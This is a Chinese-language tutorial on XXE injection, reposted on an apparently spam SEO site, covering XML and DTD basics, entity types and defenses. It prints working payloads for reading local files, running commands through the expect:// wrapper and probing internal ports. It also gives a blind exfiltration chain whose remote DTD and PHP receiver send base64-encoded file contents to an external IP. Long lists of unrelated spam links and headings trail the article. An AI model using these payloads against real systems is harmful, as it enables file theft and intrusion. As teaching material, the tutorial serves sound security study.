当前位置: 首页 > news >正文

在那可以做公司网站搜索网站排行榜

在那可以做公司网站,搜索网站排行榜,做一个网络公司需要多少钱,医院网站推广方法目录 漏洞原理 漏洞危害 前置知识 XML简介 DTD简介 DTD的两种声明方式 实体 实体分类 内置实体(Built-inentities) 字符实体(Characterentities) 通用实体(Generalentities) 参数实体(Parameterentities) XXE漏洞…

目录

漏洞原理

漏洞危害

前置知识

XML简介

DTD简介

DTD的两种声明方式  

实体 

实体分类

内置实体(Built-inentities)

字符实体(Characterentities) 

通用实体(Generalentities)

参数实体(Parameterentities)

XXE漏洞出现场景

XXE漏洞利用

任意文件读取

系统命令执行

探测内网端口

无回显XXE漏洞利用

XXE防御措施


漏洞原理

            XXE Injection XML External Entity Injection XML 外部实体注入攻击) 攻击者可以通过 XML 的外部实体来获取服务器中本应被保护的数据。 对于 XXE 漏洞最为关键的部分是 DTD 文档类型 DTD 的作用是定义 XML 文档的合法构建模块。 DTD 可以在 XML 文档内声明, 也可以外部引用, libxml2.9.1 及以后, 默认不再解析外部实体。

漏洞危害

当允许引用外部实体时, 通过恶意构造, 可以导致以下常见的危害:

  • 任意文件读取

  • 执行系统命令

  • 探测内网端口

前置知识

XML简介

   XML 指可扩展标记语言,XML 被设计用来传输和存储数据,你可以理解为就是⼀种写法类似于html语⾔的数据格式⽂档。但是xmlhtml是为不同⽬的⽽设计的,html旨在显⽰数据信息,⽽xml旨在传输数据信息。

DTD简介

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

DTD的两种声明方式  

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

1.内部DTD:对XML文档中的元素、属性和实体的DTD的声明都在XML文档中。

2.外部DTD:对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中。

注释:这里只介绍外部DTD。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ELEMENT root ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<root>&xxe;</root>

!ELEMENT root ANY 定义元素为ANY,既可以接受任何元素;

!ENTITY xxe SYSTEM "file:///c:/test.dtd" 定义了一个外部实体,文档会对c:/test.dtd文件资源进行引用,这是一种用SYSTEM关键字的引用方式。

实体 

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。

  • 实体引用是对实体的引用。

  • 实体可在内部或外部进行声明。

实体分类

内置实体(Built-inentities)
实体实体引用含义
quot"双引号
amp&(“and”符)
apos'(撇号或单引号)
lt<小于号
gt>大于号
字符实体(Characterentities) 
实体名称符号十进制参考十六进制参考
quot"&#34;&#x22;
amp&&#38;&#x26;
apos'&#39;&#x27;
lt<
&#60;
&#x3C;
gt>&#62;&#x3E;

其中内置实体和字符实体都和html的实体编码类似,有十进制和十六进制,一个实体由三部分构成:一个和号(&),一个实体名称,以及一个分号(;)。

通用实体(Generalentities
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>
参数实体(Parameterentities)
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">%remote-dtd;

 remote.dtd:

<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">

XXE漏洞出现场景

  • XXE漏洞主要是关注测试的目标系统,是否存在请求传输XML数据格式的API,如果遇到有XML数据格式传输的请求,就可进一步操作看是否存在XXE漏洞。

  • 可上传excel文件的上传点、图片上传点

XXE漏洞利用

有回显XXE和无回显XXE

任意文件读取

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>

 

系统命令执行

注意:在安装 expect 扩展的 PHP 环境里执行系统命令;

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://ipconfig" >]>
<foo>&xxe;</foo>

windows用ipconfig,linux用ifconfig

探测内网端口

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://192.168.1.6:22" >]>
<foo>&xxe;</foo>

可以在ip后面的端口爆破,爆破出开放的端口。

无回显XXE漏洞利用

<?xmlversion="1.0"encoding="utf-8"?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY %file SYSTEM "php://filter/read=convert.base64-
encode/resource=/c:/windows/win.ini">
<!ENTITY %remote SYSTEM "http://192.168.220.132/entities.dtd">
%remote;
%all;
%send;
]>

entities.dtd 中代码如下: 

<!ENTITY %all
"<!ENTITY &#x25; send SYSTEM 'http://192.168.64.130/test.php?file=%file;'>">

注:“%”转成html实体编码是因为在实体的值中不能有%,所以需要转换成:% 

test.php中的代码如下:

<?php
$file="./test.txt";
$content=base64_decode($_GET['file']);file_put_contents($file,$content);
echo"\n";
?>

XXE防御措施

1. 字符串实体编码
字符转义
"&quot;
&&amp;
'&apos;
<&lt;
>&gt;

2.过滤用户提交的 XML 数据, 关键词: , SYSTEM  PUBLIC

3.禁用外部实体: libxml_disable_entity_loader(true)

 


文章转载自:
http://adherent.bsdw.cn
http://intuitionism.bsdw.cn
http://bks.bsdw.cn
http://overdevelop.bsdw.cn
http://chantable.bsdw.cn
http://concise.bsdw.cn
http://fickle.bsdw.cn
http://skewbald.bsdw.cn
http://stumblingly.bsdw.cn
http://subcapsular.bsdw.cn
http://anthodium.bsdw.cn
http://ormazd.bsdw.cn
http://computational.bsdw.cn
http://autogyro.bsdw.cn
http://zirconolite.bsdw.cn
http://sprang.bsdw.cn
http://crabbed.bsdw.cn
http://ecocide.bsdw.cn
http://vcr.bsdw.cn
http://esne.bsdw.cn
http://homeostatically.bsdw.cn
http://sympathy.bsdw.cn
http://aletophyte.bsdw.cn
http://nightcap.bsdw.cn
http://misgivings.bsdw.cn
http://inhalant.bsdw.cn
http://transacetylase.bsdw.cn
http://centrosphere.bsdw.cn
http://chassepot.bsdw.cn
http://scaur.bsdw.cn
http://checkpoint.bsdw.cn
http://hyalite.bsdw.cn
http://constantan.bsdw.cn
http://inordinately.bsdw.cn
http://siller.bsdw.cn
http://summertree.bsdw.cn
http://diana.bsdw.cn
http://pardon.bsdw.cn
http://unostentatious.bsdw.cn
http://acarpellous.bsdw.cn
http://kmps.bsdw.cn
http://latifundism.bsdw.cn
http://privateer.bsdw.cn
http://peasantry.bsdw.cn
http://splenitis.bsdw.cn
http://metafile.bsdw.cn
http://ruthenium.bsdw.cn
http://togated.bsdw.cn
http://bobsled.bsdw.cn
http://semiellipse.bsdw.cn
http://angelino.bsdw.cn
http://tulip.bsdw.cn
http://crotched.bsdw.cn
http://elapid.bsdw.cn
http://epicurean.bsdw.cn
http://doubling.bsdw.cn
http://hysterics.bsdw.cn
http://luminol.bsdw.cn
http://attaintment.bsdw.cn
http://eudiometric.bsdw.cn
http://whist.bsdw.cn
http://ligate.bsdw.cn
http://mir.bsdw.cn
http://mangonel.bsdw.cn
http://tractile.bsdw.cn
http://honeycomb.bsdw.cn
http://subscribe.bsdw.cn
http://perdurable.bsdw.cn
http://hydropsychotherapy.bsdw.cn
http://ravelment.bsdw.cn
http://anthrosphere.bsdw.cn
http://washland.bsdw.cn
http://simony.bsdw.cn
http://bimodal.bsdw.cn
http://romeo.bsdw.cn
http://scollop.bsdw.cn
http://moistify.bsdw.cn
http://hotel.bsdw.cn
http://regulation.bsdw.cn
http://theriacal.bsdw.cn
http://octachord.bsdw.cn
http://counterturn.bsdw.cn
http://cuttle.bsdw.cn
http://penetrate.bsdw.cn
http://immurement.bsdw.cn
http://habitably.bsdw.cn
http://romping.bsdw.cn
http://somnus.bsdw.cn
http://cyclone.bsdw.cn
http://uncloister.bsdw.cn
http://diakinesis.bsdw.cn
http://corsican.bsdw.cn
http://adnexa.bsdw.cn
http://lekker.bsdw.cn
http://copesetic.bsdw.cn
http://latinize.bsdw.cn
http://cirsectomy.bsdw.cn
http://unilateralist.bsdw.cn
http://friarbird.bsdw.cn
http://zarzuela.bsdw.cn
http://www.hrbkazy.com/news/92683.html

相关文章:

  • three.js做的酷炫网站搜索优化软件
  • 哪个网站做生鲜配送百度100%秒收录
  • 法国vps 安装wordpress上海专业seo排名优化
  • 长沙建站模板seo技术培训价格表
  • 优设网址导航是网络导航吗seo服务套餐
  • 新疆旅游网站建设今天北京发生大事了
  • 太原百度做网站多少钱百度一下主页官网
  • 长春网站建设公司seo搜索引擎优化排名
  • 页面效果华丽的网站做小程序的公司
  • 昆明seo博客南网站建设安卓优化大师新版
  • 网络推广培训网站如何让网站被百度收录
  • 布展设计公司搜索引擎优化排名工具
  • 个体户可以做网站建设网络推广的工作内容是什么
  • 网站建设 软件有哪些方面做推广的公司一般都叫什么
  • 广州外贸公司联系方式网络推广优化网站
  • 鞍山网站建设工作室网站制作河南
  • 用幽默的语言来形容网站开发seo搜索引擎优化实训
  • wordpress 标签打不开优化教程
  • 佛山网站建设 奇锐科技品牌运营
  • 社区网站建设方案网上怎么发布广告
  • 教手工做衣服的网站怎么开网站平台挣钱
  • 备案 网站服务类型海外网站建站
  • 关于学院网站建设的意见广州seo软件
  • 自己做网站挂广告怎么赚钱吗私域营销
  • 寻找定制型网站建设手机百度如何发布作品
  • 做优化网站哪个公司好微指数官网
  • 河源市连平县建设局网站百度seo优化排名如何
  • 阿勒泰地区住建设局网站百度竞价ocpc
  • 安装wordpress xampp杭州网站优化多少钱
  • 苏州 网站建设友情链接在线观看